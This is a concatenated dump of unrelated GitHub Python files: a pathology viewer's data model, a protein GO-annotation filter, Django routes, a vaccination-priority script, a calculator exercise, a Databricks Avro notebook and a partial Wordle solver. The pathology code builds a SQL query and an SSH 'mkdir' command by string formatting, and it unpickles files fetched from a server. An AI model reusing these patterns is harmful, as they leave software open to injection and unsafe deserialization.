'feature_importance'):\n feature_importance = copy.deepcopy(self.feature_importance)\n feature_importance.index = [' | '.join(v) for v in feature_importance.index]\n\n if dim1_text is not None:\n self.dim1_text = dim1_text\n elif hasattr(self, 'feature_importance'):\n # choose first important feature\n self.dim1_text = self.feature_importance.index[0]\n else:\n self.dim1_text = ('Morphology', 'area')\n\n if dim2_text is not None:\n self.dim2_text = dim2_text\n elif hasattr(self, 'feature_importance'):\n # choose second important feature\n self.dim2_text = self.feature_importance.index[1]\n else:\n self.dim2_text = ('Haralick', 'heterogeneity')\n\n dim1_text_flat = ' | '.join(self.dim1_text)\n dim2_text_flat = ' | '.join(self.dim2_text)\n \n idx1 = np.array([ix for ix, v in enumerate(self.MainWindow.nucstat.feature_columns) if self.dim1_text[0] == v[0] and self.dim1_text[1] == v[1]])\n idx2 = np.array([ix for ix, v in enumerate(self.MainWindow.nucstat.feature_columns) if self.dim2_text[0] == v[0] and self.dim2_text[1] == v[1]])\n\n dim1 = self.MainWindow.nucstat.feature[:, idx1].astype(np.float64).reshape(-1)\n dim2 = self.MainWindow.nucstat.feature[:, idx2].astype(np.float64).reshape(-1)\n\n self.VFC_dim1_val = dim1\n self.VFC_dim2_val = dim2\n\n # 1: selected; 0: not selected.\n if hasattr(self.MainWindow.nucstat, 'VFC_index_selected'): # previously isSelected\n idx_selected = self.MainWindow.nucstat.VFC_index_selected.reshape(-1).astype(float) # Object of type int32 is not JSON serializable\n else:\n idx_selected = np.array([1] * len(dim1)).astype(float)\n\n \n if hasattr(self.MainWindow.nucstat, 'prediction') and len(self.MainWindow.nucstat.prediction) > 0:\n classname = self.MainWindow.nucstat.prediction.loc[:,'class_name'].values.reshape(-1)\n color_r = self.MainWindow.nucstat.prediction.loc[:,'color_r'].values.astype(float)\n color_g = self.MainWindow.nucstat.prediction.loc[:,'color_g'].values.astype(float)\n color_b = self.MainWindow.nucstat.prediction.loc[:,'color_b'].values.astype(float)\n else:\n classname = np.array(['Other']*len(dim1))\n color_r = np.array([120] * len(dim1)).astype(float)\n color_g = np.array([120] * len(dim1)).astype(float)\n color_b = np.array([120] * len(dim1)).astype(float)\n\n\n # get unique class information for tumor burden stat\n uniq_classname = np.unique(classname)\n uniq_classcolor = []\n uniq_class_nuclei_count = []\n for c in uniq_classname:\n rgb = 'rgb(%d, %d, %d)' % (color_r[classname == c][0], color_g[classname == c][0], color_b[classname == c][0])\n uniq_classcolor.append(rgb)\n n_nuclei = np.sum(classname == c)\n uniq_class_nuclei_count.append(n_nuclei)\n\n\n # subsample index\n idx_out_select = np.where(idx_selected == 0)[0]\n idx_in_select = np.where(idx_selected == 1)[0]\n random.shuffle(idx_out_select)\n random.shuffle(idx_in_select)\n idx_out_select = idx_out_select[:np.min((max_number_cell,len(idx_out_select)))]\n idx_in_select = idx_in_select[:np.min((max_number_cell,len(idx_in_select)))]\n\n if len(idx_out_select) > 0:\n uniq_classname_selected = np.unique(classname[idx_in_select])\n uniq_classname_notselected = np.unique(classname[idx_out_select])\n uniq_classcolor_selected = np.array(uniq_classcolor)[np.isin(uniq_classname, uniq_classname_selected)]\n uniq_classcolor_notselected = np.array(uniq_classcolor)[np.isin(uniq_classname, uniq_classname_notselected)]\n \n uniq_class_nuclei_count_selected = []\n for c in uniq_classname_selected:\n uniq_class_nuclei_count_selected.append(np.sum((classname == c) & (idx_selected == 1)))\n\n uniq_class_nuclei_count_notselected = []\n for c in uniq_classname_notselected:\n uniq_class_nuclei_count_notselected.append(np.sum((classname == c) & (idx_selected == 0)))\n\n\n subsample_idx = np.array(list(idx_out_select) + list(idx_in_select))\n\n\n dim1_subset = dim1[subsample_idx]\n dim2_subset = dim2[subsample_idx]\n classname = classname[subsample_idx]\n idx_selected = idx_selected[subsample_idx]\n color_r = color_r[subsample_idx]\n color_g = color_g[subsample_idx]\n color_b = color_b[subsample_idx]\n\n\n\n dict2send = {}\n dict2send['action'] = 'plot_virtual_flow_stat'\n dict2send['data'] = {}\n dict2send['data']['dim1'] = list(dim1_subset) # cannot json np array\n dict2send['data']['dim2'] = list(dim2_subset)\n dict2send['axis_title'] = {}\n dict2send['axis_title']['dim1'] = dim1_text_flat\n dict2send['axis_title']['dim2'] = dim2_text_flat\n dict2send['class_name'] = list(classname)\n dict2send['class_color_r'] = list(color_r)\n dict2send['class_color_g'] = list(color_g)\n dict2send['class_color_b'] = list(color_b)\n dict2send['main_window_selected'] = list(idx_selected)\n\n if hasattr(self, 'feature_importance'):\n dict2send['feature_importance'] = feature_importance.to_dict()\n\n dict2send['barplot'] = {}\n dict2send['barplot']['selected'] = {}\n dict2send['barplot']['selected']['class_name_unique'] = list(uniq_classname)\n dict2send['barplot']['selected']['class_color_unique'] = list(uniq_classcolor)\n dict2send['barplot']['selected']['class_count_unique'] = list(np.array(uniq_class_nuclei_count).astype(float)) # cannot json int32 array\n \n if len(idx_out_select) > 0:\n dict2send['barplot']['selected']['class_name_unique'] = list(uniq_classname_selected)\n dict2send['barplot']['selected']['class_color_unique'] = list(uniq_classcolor_selected)\n dict2send['barplot']['selected']['class_count_unique'] = list(np.array(uniq_class_nuclei_count_selected).astype(float)) # cannot json int32 array\n \n dict2send['barplot']['not_selected'] = {}\n dict2send['barplot']['not_selected']['class_name_unique'] = list(uniq_classname_notselected)\n dict2send['barplot']['not_selected']['class_color_unique'] = list(uniq_classcolor_notselected)\n dict2send['barplot']['not_selected']['class_count_unique'] = list(np.array(uniq_class_nuclei_count_notselected).astype(float)) # cannot json int32 array\n \n\n \n self.MainWindow.backend.py2js(dict2send) # send total nuclei count, active nuclei count, accuracy, etc.\n\n\n def show_highlight_nucleus_from_VFC(self, dim1, dim2):\n idx_order = np.argmin((self.VFC_dim1_val - dim1)**2 + (self.VFC_dim2_val - dim2)**2)\n\n x, y = self.nucstat['centroid'][idx_order,:]\n idx_raw = self.nucstat['index'][idx_order]\n self.highlight_nuclei = {}\n self.highlight_nuclei['index'] = idx_raw\n\n self.log.write('Virtual Flow *** show single-clicked nuclei in WSI. Centroid on slide: (%d, %d).' % (x, y))\n\n slide_dimension = self.slide.level_dimensions[0] # highest resolution, size around 80000*40000\n self.setZoomValue(1) # the smaller, the larger cell looks like\n self.relativeCoords = np.array([x/slide_dimension[0],\n y/slide_dimension[1]]).astype(float)\n if (self.relativeCoords[1]>1.0):\n self.relativeCoords[1]=1.0\n\n self.relativeCoords -= 0.5\n \n image_dims=self.slide.level_dimensions[0]\n self.ui.statusbar_text.setText('Position: (%d,%d)' % (int((self.relativeCoords[0]+0.5)*image_dims[0]), int((self.relativeCoords[1]+0.5)*image_dims[1])))\n self.showImage()\n self.updateScrollbars()\n \n def show_selected_nuclei_from_VFC(self, selectdict):\n if selectdict['type'] == 'lasso':\n x = np.array(selectdict['points_x']).astype(float)\n y = np.array(selectdict['points_y']).astype(float)\n polypoints = np.c_[x,y]\n poly_path = path.Path(polypoints)\n index_bool = poly_path.contains_points(np.c_[self.VFC_dim1_val, self.VFC_dim2_val])\n\n\n elif selectdict['type'] == 'rect':\n x = np.array(selectdict['points_x']).astype(float)\n y = np.array(selectdict['points_y']).astype(float)\n xmin, xmax = np.min(x), np.max(x)\n ymin, ymax = np.min(y), np.max(y)\n index_bool = (self.VFC_dim1_val > xmin) & (self.VFC_dim1_val < xmax) & (self.VFC_dim2_val > ymin) & (self.VFC_dim2_val < ymax)\n \n self.nucstat['isSelected_from_VFC'] = index_bool\n self.processingStep = self.id+1\n self.showImage_part2(self.npi, self.processingStep)\n\n\n def import_nucfinder_dataset(self, dataset_id):\n status = self.import_from_db(dataset_id)\n if status == 'success':\n if self.MainWindow.imageOpened:\n self.apply_to_case()\n return\n \n def rgb_to_hex(self, rgb):\n return '%02x%02x%02x' % tuple(rgb)\n\n def import_from_db(self, dataset_id):\n print('Retrieve dataset with id:',dataset_id)\n \n mydb = self.MainWindow.connect_to_DB()\n mycursor = mydb.cursor(buffered=True)\n sql = \"SELECT * FROM Dataset_nuclei WHERE id = '%s'\" % dataset_id\n mycursor.execute(sql)\n mydb.commit()\n print('Database:', mycursor.rowcount, \"record found.\")\n data = mycursor.fetchall()\n if len(data) != 1: raise Exception('Multiple ID found!')\n data = data[0]\n user_id = data[1]\n remotepath = data[2]\n create_datetime = data[3]\n lastedit_datetime = data[4]\n tissueType = data[5]\n description = data[6]\n n_class = data[7]\n n_nuclei = data[8]\n test_acc = data[9]\n isPrivate = data[10]\n \n\n cachedir = os.path.join(self.MainWindow.wd, 'Cache', 'Receive', dataset_id)\n os.makedirs(cachedir, exist_ok=True)\n \n cli, REMOTE_DIR = self.MainWindow.connect_to_SSH()\n\n print('Start sftp')\n st = time.time()\n sftp = cli.open_sftp()\n fname='interactive_nuclei_dict.pickle'\n try:\n fname='interactive_nuclei_dict.pickle'\n sftp.get(os.path.join(remotepath, fname), os.path.join(cachedir, fname))\n except:\n fname='model.pickle'\n sftp.get(os.path.join(remotepath, fname), os.path.join(cachedir, fname))\n \n with open(os.path.join(cachedir, fname), 'rb') as f:\n model_in = pickle.load(f)\n\n if fname == 'interactive_nuclei_dict.pickle':\n model_in['classinfo'] = model_in['class_info']\n model_in['classinfo'].rename(columns={\"class_name\": \"classname\",\n \"class_color\": \"rgbcolor\"},\n inplace=True)\n del model_in['class_info']\n model_in['data_info']['original_class_id'] = model_in['data_info']['class_id']\n \n print('Import finished! Time elapsed = %.2f seconds.' % (time.time()-st))\n self.classinfo = model_in['classinfo']\n self.model = model_in\n\n self.data_X = self.model['dataX']\n self.data_info = self.model['data_info']\n\n jsdict = {'action': 'import: load_class_info'}\n jsdict['classinfo'] = {}\n \n y_labels = (self.model['data_info']['original_class_id'].values * self.model['data_info']['label_final_value'].values).astype(int) # any value contains zero is zero.\n\n for c in self.model['classinfo'].index:\n class_name = self.model['classinfo'].loc[self.model['classinfo'].index==c, 'classname'].values[0]\n class_color = self.model['classinfo'].loc[self.model['classinfo'].index==c, 'rgbcolor'].values[0]\n n_curr_nuclei = np.sum(y_labels == c)\n jsdict['classinfo'][c] = {'classname': class_name,\n 'n_curr_nuclei': float(n_curr_nuclei),\n 'hexcolor': self.rgb_to_hex(class_color)}\n\n self.MainWindow.backend.py2js(jsdict)\n\n dict2send = {}\n dict2send['action'] = 'import_class_status'\n dict2send['n_class'] = n_class\n dict2send['n_nuclei'] = float(n_nuclei)\n dict2send['test_acc'] = '%.2f%%' % (test_acc*100)\n dict2send['creatorID'] = user_id\n dict2send['create_datetime'] = str(create_datetime)\n dict2send['tissueType'] = tissueType\n dict2send['description'] = description\n self.MainWindow.backend.py2js(dict2send)\n\n return \"success\"\n\n\n def sync_to_db(self, MainWindow, jsondata):\n #print(jsondata)\n userid = int(jsondata['id'])\n isPrivate_int = int(bool(jsondata['isPrivate']))\n tissueType = jsondata['tissueType']\n studyDescription = jsondata['studyDescription']\n \n\n\n # SFTP\n cli, REMOTE_DIR = self.MainWindow.connect_to_SSH()\n dataset_id = self.dataset_id\n remotepath = REMOTE_DIR + dataset_id + '/'\n cachedir = opj(MainWindow.wd, 'Cache', 'Send', dataset_id)\n os.makedirs(cachedir, exist_ok=True)\n model_save = {'classinfo': self.classinfo,\n 'data_info': self.data_info,\n 'dataX': self.data_X}\n with open(opj(cachedir, 'model.pickle'), 'wb') as f:\n pickle.dump(model_save, f)\n stdin_, stdout_, stderr_ = cli.exec_command(\"mkdir %s\" % remotepath)\n stdout_.channel.recv_exit_status()\n lines = stdout_.readlines()\n for line in lines: print(line)\n print('Start sftp')\n sftp = cli.open_sftp()\n fname='model.pickle'\n sftp.put(opj(cachedir, fname), remotepath + fname)\n sftp.close()\n print('End sftp')\n cli.close()\n\n\n\n # Database\n mydb = self.MainWindow.connect_to_DB()\n number_of_class = 0\n class_count = []\n for cls in self.classinfo.index:\n number_of_class += 1\n n_of_nuclei = np.sum((self.data_info['original_class_id'] == cls).values)\n class_count.append(n_of_nuclei)\n n_total_nuclei = np.sum(class_count)\n\n if hasattr(self, 'ML_result') and ('test_acc' in self.ML_result):\n if 'All_class' in self.ML_result['test_acc']:\n accuracy = self.ML_result['test_acc']['All_class']\n else:\n accuracy = 0\n else:\n accuracy = 0\n \n mycursor = mydb.cursor()\n sql = \"INSERT INTO Dataset_nuclei (id, creator_id, filepath, createtime, lastupdatetime, cancertype, \"+\\\n \"studydescription, numberofclass, numberofnuclei, accuracy, isPrivate) VALUES (%s, %s, %s, NOW(), NOW(), %s, %s, %s, %s, %s, %s)\"\n val = (dataset_id, userid, remotepath, tissueType, studyDescription, str(number_of_class), str(n_total_nuclei), str(accuracy), str(isPrivate_int))\n mycursor.execute(sql, val)\n mydb.commit()\n print('Database:', mycursor.rowcount, \"record inserted.\")\n return 'success'\n","repo_name":"huangzhii/nuclei.io","sub_path":"software/machine_learning/data_model.py","file_name":"data_model.py","file_ext":"py","file_size_in_byte":60096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41534459724","text":"from numpy import load\r\nimport numpy as np\r\nimport pickle\r\nimport sys\r\n# This codes ensures that only the proteins with experimentally derived GO annotations\r\n# are included in the experiments\r\n\r\nembeddingsPath = sys.argv[1]\r\nevidenceCodesPath = sys.argv[2]\r\ndirectory = sys.argv[3]\r\ndirectory1 = sys.argv[4]\r\n\r\nwith open(embeddingsPath + '/Xrat', 'rb') as f:\r\n Xrat = pickle.load(f)\r\nwith open(embeddingsPath + '/Xmouse', 'rb') as g:\r\n Xmouse = pickle.load(g)\r\nwith open(embeddingsPath + '/Xc.elegans', 'rb') as h:\r\n Xcelegans = pickle.load(h)\r\nwith open(embeddingsPath + '/Xyeast', 'rb') as k:\r\n Xyeast = pickle.load(k)\r\nwith open(embeddingsPath + '/Xhuman', 'rb') as k:\r\n Xhuman = pickle.load(k)\r\nwith open(embeddingsPath + '/Xa.thaliana', 'rb') as k:\r\n Xathaliana = pickle.load(k)\r\nwith open(embeddingsPath + '/Xzebrafish', 'rb') as k:\r\n Xzebrafish = pickle.load(k)\r\n\r\nid_human = Xhuman.keys()\r\nid_athaliana = Xathaliana.keys()\r\nid_zebrafish = Xzebrafish.keys()\r\nid_rat = Xrat.keys()\r\nid_mouse = Xmouse.keys()\r\nid_celegans = Xcelegans.keys()\r\nid_yeast = Xyeast.keys()\r\n\r\ndef experimental_id(id_species):\r\n\r\n evidence_codes = ['EXP', 'IDA', 'IPI', 'IMP', 'IGI', 'IEP',\r\n 'HTP', 'HDA', 'HMP', 'HGI', 'HEP',\r\n 'IBA', 'IBD', 'IKR', 'IRD', 'IC', 'TAS']\r\n evidence_id = []\r\n with open(evidenceCodesPath + \"/evidence_codes.gaf\") as f:\r\n for line in f:\r\n line = line.strip(\"\\n\")\r\n line = line.strip().split(\"\\t\")\r\n if line[1] in id_species:\r\n if line[6] in evidence_codes:\r\n evidence_id.append(line[1])\r\n evidence_id = np.array(evidence_id)\r\n evi_id = np.unique(evidence_id)\r\n return evi_id\r\n\r\n\r\nevi_id_rat = experimental_id(id_rat)\r\nevi_id_mouse = experimental_id(id_mouse)\r\nevi_id_celegans = experimental_id(id_celegans)\r\nevi_id_yeast = experimental_id(id_yeast)\r\nevi_id_human = experimental_id(id_human)\r\nevi_id_athaliana = experimental_id(id_athaliana)\r\nevi_id_zebrafish = experimental_id(id_zebrafish)\r\n\r\nwith open(evidenceCodesPath + '/rat.pkl', 'wb') as f:\r\n pickle.dump(evi_id_rat, f)\r\nwith open(evidenceCodesPath + '/mouse.pkl', 'wb') as f:\r\n pickle.dump(evi_id_mouse, f)\r\nwith open(evidenceCodesPath + '/celegans.pkl', 'wb') as f:\r\n pickle.dump(evi_id_celegans, f)\r\nwith open(evidenceCodesPath + '/yeast.pkl', 'wb') as f:\r\n pickle.dump(evi_id_yeast, f)\r\nwith open(evidenceCodesPath + '/human.pkl', 'wb') as f:\r\n pickle.dump(evi_id_human, f)\r\nwith open(evidenceCodesPath + '/athaliana.pkl', 'wb') as f:\r\n pickle.dump(evi_id_athaliana, f)\r\nwith open(evidenceCodesPath + '/zebrafish.pkl', 'wb') as f:\r\n pickle.dump(evi_id_zebrafish, f)\r\n\r\n\r\ndef GO_terms_per_protein(dir_tab, protein_id):\r\n dict = {}\r\n with open('%s/%s' % (directory1, dir_tab)) as f:\r\n for line in f:\r\n if line.split('\\t')[0] in protein_id:\r\n terms1 = line.split('\\t')[1]\r\n GO_annotations = []\r\n inRecordingMode = False\r\n for ind, x in enumerate(terms1):\r\n if not inRecordingMode:\r\n if x == '[' and terms1[ind + 1] == 'G':\r\n inRecordingMode = True\r\n string = ''\r\n elif x == ']':\r\n inRecordingMode = False\r\n GO_annotations.append(string)\r\n if inRecordingMode and x != '[':\r\n string = string + x\r\n\r\n if GO_annotations:\r\n\r\n dict[line.split('\\t')[0]] = list(set(GO for GO in GO_annotations))\r\n return dict\r\n\r\n\r\nterms_rat = GO_terms_per_protein('rat_protein_GO.tab', id_rat)\r\nterms_mouse = GO_terms_per_protein('mouse_protein_GO.tab', id_mouse)\r\nterms_celegans = GO_terms_per_protein('c.elegans_protein_GO.tab', id_celegans)\r\nterms_yeast = GO_terms_per_protein('yeast_protein_GO.tab', id_yeast)\r\nterms_human = GO_terms_per_protein('human_protein_GO.tab', id_human)\r\nterms_zebrafish = GO_terms_per_protein('zebrafish_protein_GO.tab', id_zebrafish)\r\nterms_athaliana = GO_terms_per_protein('a.thaliana_protein_GO.tab', id_athaliana)\r\n\r\nterms = [terms_rat, terms_mouse, terms_celegans, terms_yeast, terms_human, terms_zebrafish, terms_athaliana]\r\nall_unique_GO = list(set(val2 for term in terms for val in term.values() for val2 in val))\r\n\r\n# make a list with all the GO terms that are in the cross-species test sets\r\n\r\nwith open('%s/list_terms.txt' % directory, 'w') as f:\r\n for item in all_unique_GO:\r\n f.write(\"%s\\n\" % item)\r\n f.write('complete')\r\n","repo_name":"cross-species-SeqVec-MFP/thesis","sub_path":"cross_species/evidence_codes.py","file_name":"evidence_codes.py","file_ext":"py","file_size_in_byte":4633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71972084692","text":"from django.conf.urls import url, include\nfrom . import views\nurlpatterns = [\n url(r'^$',views.index),\n url(r'^success$', views.success),\n url(r'^create$', views.create),\n url(r'^login$', views.login),\n url(r'^create_quote$', views.create_quote),\n url(r'^user_page/(?P\\d+)$', views.user_page),\n url(r'^add_favorite/(?P\\d+)$', views.add_favorite),\n url(r'^logout$',views.logout),\n url(r'^del_favorites/(?P\\d+)$', views.del_favorites)\n]\n","repo_name":"kss11b/Quote_App","sub_path":"apps/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18411316570","text":"import numpy as np\nimport pandas as pd\nimport networkx as nx\n\n\n# load data\ndata = pd.read_csv(\"data/school_dataset.csv\")\n\nnum_nodes = np.max(np.max(data[[\"s\", \"d\"]]))\nnodes = np.arange(1, num_nodes+1)\n\n# clusters\nclusters = np.ones((num_nodes,))\n# status\nstatus = np.zeros((num_nodes,))\ninfected_idx = np.random.randint(1, num_nodes+1, (10,))\nrecovered_idx = np.random.randint(1, num_nodes+1, (10,))\nstatus[infected_idx] = 1\nstatus[recovered_idx] = 2\n\n# vaccination prioirty\nV = 25\ngraph = nx.Graph()\ngraph.add_nodes_from(nodes)\ngraph.add_edges_from(data[[\"s\", \"d\"]].to_numpy())\n\n# finding priority\ncentrality = nx.centrality.degree_centrality(graph)\nvalid_nodes = nodes[status == 0]\nvalid_nodes_centrality = {n: centrality[n] for n in valid_nodes}\nvalid_nodes_centrality_rev = {val: key for key, val in valid_nodes_centrality.items()}\n\npriorities = sorted(valid_nodes_centrality_rev, reverse=True)\npriorities_dict = {valid_nodes_centrality_rev[val]: val for val in priorities[:V]}\npriority_id = np.array(list(priorities_dict.keys()))-1\n\nvaccination_priority = np.zeros((num_nodes,))\nvaccination_priority[priority_id] = 1\n\nusers_info = pd.DataFrame({\n \"id\": nodes,\n \"cluster\": clusters,\n \"status\": status,\n \"priority\": vaccination_priority,\n})\n\nusers_info.to_csv(\"data/users_info.csv\", index=False)","repo_name":"mhosseinkarimi/targeted_vaccination_contact_tracing","sub_path":"prioritize_vaccination.py","file_name":"prioritize_vaccination.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1363562688","text":"'''\n- 클래스를 활용해 작성했던 계산기 코드를 활용해주세요\n- 기존처럼 사용자의 입력을 받고 출력하되, try / except를 활용해 사용자의 입력을 검증하는 코드를 추가해주세요\n - 두 번쨰 숫자에 0을 입력하고 나누기를 시도할 경우 “0으로 나눌 수 없습니다” 문구를 출력해주세요\n - 숫자�� 아닌 다른 값을 입력했을 경우 “숫자만 입력 가능합니다” 라는 문구를 출력해 주세요\n'''\nclass Calc:\n def set_number(self, a, b):\n self.a = a\n self.b = b \n \n def plus(self):\n result = self.a + self.b\n return result\n \n def minus(self):\n result = self.a - self.b\n return result\n \n def multiple(self):\n result = self.a * self.b\n return result\n \n def divide(self):\n try:\n result = self.a / self.b\n return result\n except ZeroDivisionError: # 0으로 나누면서 에러가 발생했을 때\n print(\"0으로는 나눌수 없습니다.\")\n \nwhile True:\n try:\n a, b = map(int,input('숫자를 입력해주세요 : ').split())\n break\n except ValueError:\n print(\"숫자만 입력 가능합니다.\")\n \ncalc = Calc()\ncalc.set_number(a, b)\nprint(calc.plus()) # 더한 값\nprint(calc.minus()) # 뺀 값\nprint(calc.multiple()) # 곱한 값\nprint(calc.divide()) # 나눈 값","repo_name":"jetaime95/Sparta-assignment","sub_path":"2022.09.14/cal_deepen.py","file_name":"cal_deepen.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30501118072","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC \n# MAGIC ## Step 1: Load Source Data\n\n# COMMAND ----------\n\n# File location and type\nfile_location = \"/FileStore/tables/04.avro\"\nfile_type = \"avro\"\n\noptions = {}\n\n# The applied options are for CSV files. For other file types, these will be ignored.\ndf = spark.read.format(file_type) \\\n .options(**options) \\\n .load(file_location)\n\n# See source data from avro\ndisplay(df)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Step 2. Define and register UDFs to DEFLATE/INFLATE column\n\n# COMMAND ----------\n\nfrom pyspark.sql.functions import *\nimport zlib\n\n@udf(\"string\")\ndef tcs_inflate(body):\n try:\n inflated = zlib.decompress(body, wbits=-8).decode()\n except:\n inflated = \"==ERROR==\"\n return inflated\n\n@udf(\"binary\")\ndef tcs_deflate(body):\n return zlib.compress(body.encode())\n\nspark.udf.register(\"tcs_inflate\", tcs_inflate)\nspark.udf.register(\"tcs_deflate\", tcs_deflate)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Step 3. Inflate the Body\n\n# COMMAND ----------\n\ndf_inflated = df.selectExpr(\"tcs_inflate(body) as body_inflated\")\n\n# COMMAND ----------\n\ndf_inflated.show(2)\n\n# COMMAND ----------\n\n# Check for records \ndf_inflated.where(\"body_inflated='==ERROR=='\").show()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Parse JSON From Fields\n\n# COMMAND ----------\n\n# Convert to plain RDD\nrdd_json = df_inflated.select(\"body_inflated\").rdd.map(lambda r: r.body_inflated )\n\n# Parse RDD as multi-JSON\ndf_read = spark.read.json(rdd_json)\n\n# COMMAND ----------\n\ndf_read = spark.read.json(rdd_json)\n\n# COMMAND ----------\n\ndf_read.printSchema()\n\n# COMMAND ----------\n\ndf1.show(5)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Next Steps\n# MAGIC \n# MAGIC * Ingest avro data from raw/source zone into prepard\n# MAGIC * Store in parquet format in prepared zone:\n# MAGIC - parquet format\n# MAGIC - partition by event_time, where event_time is the time from the source directory where the original avro comes from, e.g. /2018/04/01/12/25 ... is converted to a column, called event_time.\n# MAGIC * Create external table on the stored data.\n\n# COMMAND ----------\n\n\n","repo_name":"abhi120785/devops","sub_path":"[Micro PoC] Inflate READ.py","file_name":"[Micro PoC] Inflate READ.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6444924342","text":"import sys\nimport os\n\nfrom filter import *\nfrom CountAndPosition import *\nfrom timer import Timer\nfrom utilities import list_list_to_str, sort_function, list_to_str\n\n\ndef make_word_list_with_count(words):\n out_words = []\n for word in words:\n out_words.append((word, 0))\n return out_words\n\n\ndef make_word_list_without_count(words_with_count):\n out_words = []\n for item in words_with_count:\n out_words.append(item[0])\n return out_words\n\n\nclass Words:\n\n def __init__(self, data_filename=\"\"):\n self.inited = False\n self.data_filename = data_filename\n self.words = []\n self.word_map = {}\n self.count_and_position = CountAndPosition(self.words)\n\n def first_word(self):\n if len(self.words) >= 1:\n return self.words[0]\n return \"ZZZZZ\"\n\n def length_words(self):\n return len(self.words)\n\n def read_words(self):\n self.read_words_from_file()\n\n for word in self.words:\n self.word_map[word] = 1\n\n def read_words_from_file(self):\n if not os.path.isfile(self.data_filename):\n exit_with_message(\"FileNotExist\")\n with open(self.data_filename, encoding='utf-8') as f:\n in_words = f.readlines()\n for i in range(len(in_words)):\n word = in_words[i].strip()\n self.words.append(word.upper())\n last_word = len(self.words)\n for i in reversed(range(last_word)):\n if len(self.words[i]) < 1:\n self.words.pop(i)\n else:\n break\n if len(self.words) < 1:\n exit_with_message(\"EmptyFile\")\n\n def print(self):\n for word in self.words:\n Trace.write(word)\n\n def count(self):\n return len(self.words)\n\n def count_chars(self):\n self.count_and_position = CountAndPosition(self.words)\n\n def create_filtered_words(self, position_chars, must_chars, not_chars, not_here_chars, repeated_chars):\n ret = Words()\n ret.words = filter_list(self.words, position_chars, must_chars, not_chars, not_here_chars,\n repeated_chars)\n return ret\n\n def create_guess(self, must_chars, not_here_chars, count_and_position):\n tall = Timer()\n tall.start()\n t1 = Timer()\n t1.start()\n current_words = self.words\n if Configuration.hard_mode:\n current_words = filter_list(current_words, [\"\", \"\", \"\", \"\", \"\"], must_chars, \"\",\n [\"\", \"\", \"\", \"\", \"\"], \"\")\n Trace.write(\"Filtered current words \" + list_to_str(current_words))\n current_words_with_count = make_word_list_with_count(current_words)\n # Trace.write(\" Making word list time \" + t1.stop())\n t2 = Timer()\n t2.start()\n\n Trace.write(\"Filter by highest char occurrence\")\n current_words_with_count = filter_guesses_by_highest_char_occurrence(current_words_with_count, must_chars,\n count_and_position)\n # Trace.write(\"Filter by highest occurrence \" + t2.stop())\n Trace.write(\"Filter by highest pair occurrence\")\n current_words_with_count = filter_guesses_by_highest_pair_occurrence(current_words_with_count,\n count_and_position)\n\n Trace.write(\"Filter by position in word \")\n current_words_with_count = filter_guesses_by_position_in_word(current_words_with_count,\n must_chars, count_and_position)\n # Trace.write(\" Filter by position in word \" + t3.stop())\n Trace.write(\"Filtered by not here in word\")\n current_words_with_count = filter_guesses_by_not_here_in_word(current_words_with_count,\n must_chars, not_here_chars, count_and_position)\n\n current_words_with_count.sort(reverse=True, key=sort_function)\n current_words = make_word_list_without_count(current_words_with_count)\n # Trace.write(\" Total guess time \" + tall.stop())\n\n return current_words\n\n def find_answer(self, word_index):\n index = word_index\n if index < 1 or index > len(self.words):\n exit_with_message(\"WordIndexOutOfRange\")\n answer = self.words[index - 1]\n if len(answer) < 1:\n exit_with_message(\"AnswerNotValid \")\n return answer\n\n def check_guess(self, guess):\n # Check guess in the list\n value = self.word_map.get(guess)\n if value is None:\n return False\n return True\n\n\ndef determine_word_with_all_characters(words, position_chars):\n to_check = 0\n for i in range(len(position_chars)):\n if len(position_chars[i]) == 0:\n Trace.write(\"Unknown is \" + str(i))\n to_check = i\n break\n might_have_chars = \"\"\n for word in words:\n might_have_chars += word[to_check]\n Trace.write(\"Might have chars \" + list_to_str(might_have_chars))\n return might_have_chars\n\n\ndef count_position_chars(position_chars):\n size = 0\n for s in position_chars:\n if len(s) > 0:\n size += 1\n Trace.write(\"Size of position chars \" + str(size))\n return size\n\n\ndef filter_by_percentage_maximum(current_words, max_total_score, percentage):\n cutoff = (max_total_score * percentage) / 100\n # Trace.write(\"Cutoff is \" + str(cutoff))\n out_words = []\n if len(current_words) < Configuration.minimum_to_filter:\n current_words.sort(reverse=True, key=sort_function)\n Trace.write(list_list_to_str(out_words))\n return current_words\n for item in current_words:\n if item[1] >= cutoff:\n out_words.append(item)\n out_words.sort(reverse=True, key=sort_function)\n Trace.write(list_list_to_str(out_words))\n return out_words\n\n\ndef filter_guesses_by_highest_char_occurrence(current_words, must_chars, count_and_position):\n if len(current_words) <= 1:\n return current_words\n t1 = Timer()\n t1.start()\n # Trace.write(\"Must chars \" + must_chars)\n\n\n max_total_score = 0\n out_words = []\n # Trace.write(\"First part \" + t1.stop())\n t2 = Timer()\n t2.start()\n for item in current_words:\n word = item[0]\n score = count_and_position.score_on_totals(word)\n if Configuration.high_char_add_to_previous:\n total_score = item[1] + score\n else:\n total_score = score\n out_words.append((word, total_score))\n if total_score > max_total_score:\n max_total_score = total_score\n # Trace.write(\"Second part \" + t2.stop())\n # Trace.write(\"Max score is \" + str(max_total_score))\n if max_total_score == 0:\n Trace.write(\"@@@ No words found in by high chars\")\n return []\n out_words = filter_by_percentage_maximum(out_words, max_total_score, Configuration.cutoff_high_char)\n return out_words\n\n\ndef filter_guesses_by_highest_pair_occurrence(current_words, count_and_position):\n if len(current_words) <= 1:\n return current_words\n max_total_score = 0\n out_words = []\n for item in 